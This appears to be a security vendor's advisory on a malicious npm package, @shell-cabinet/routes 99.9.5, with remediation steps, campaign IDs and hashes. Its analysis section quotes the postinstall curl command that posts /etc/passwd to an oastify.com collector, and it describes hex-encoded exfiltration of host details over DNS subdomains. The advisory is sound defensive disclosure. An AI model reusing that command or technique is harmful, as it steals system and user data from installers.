Which versions of @shell-cabinet/routes are malicious?

The following npm versions of @shell-cabinet/routes are flagged malicious: 99.9.5. Treat any of these as compromised.

How do I remediate @shell-cabinet/routes if I installed it?

Remove @shell-cabinet/routes from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound network activity or persistence. Use O3 Security's dependency scanner to confirm the package and its artifacts are fully purged across your stack.

Is @shell-cabinet/routes part of a known attack campaign?

Yes — @shell-cabinet/routes is associated with the IN-MAL-2026-005023, IN-MAL-2026-005024 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect @shell-cabinet/routes in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking @shell-cabinet/routes and packages like it before any post-install script runs.

Malicious package

@shell-cabinet/routesnpm

Malicious code in @shell-cabinet/routes (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5428

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @shell-cabinet/routes

What this malware does

On npm install, the package's postinstall hook runs curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, posting the installer's /etc/passwd to a hostname-prefixed subdomain of oastify.com (a Burp Collaborator out-of-band channel). The same postinstall first executes scripts/scream3gg.js, which hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues plain-HTTP fetch() requests with the hex chunked into subdomains of nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com, leaking host identifiers over DNS-encoded HTTP. Both behaviors fire unconditionally at install time and have no relationship to any documented package functionality.

Malicious versions

1 flagged

99.9.5

Indicators of compromise (SHA-256)

b385f020626d8bad774fe5ebd776683b547bea4edef85944af658fd0155924ad

d8dcb342941bc75e4b1f4ff0b757d193f681b483a32295dc331468cd2dc1e616

Frequently asked questions

No. @shell-cabinet/routes on npm has been identified as a malicious package (version 99.9.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005023IN-MAL-2026-005024

References

npmjs.com

Credits

Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection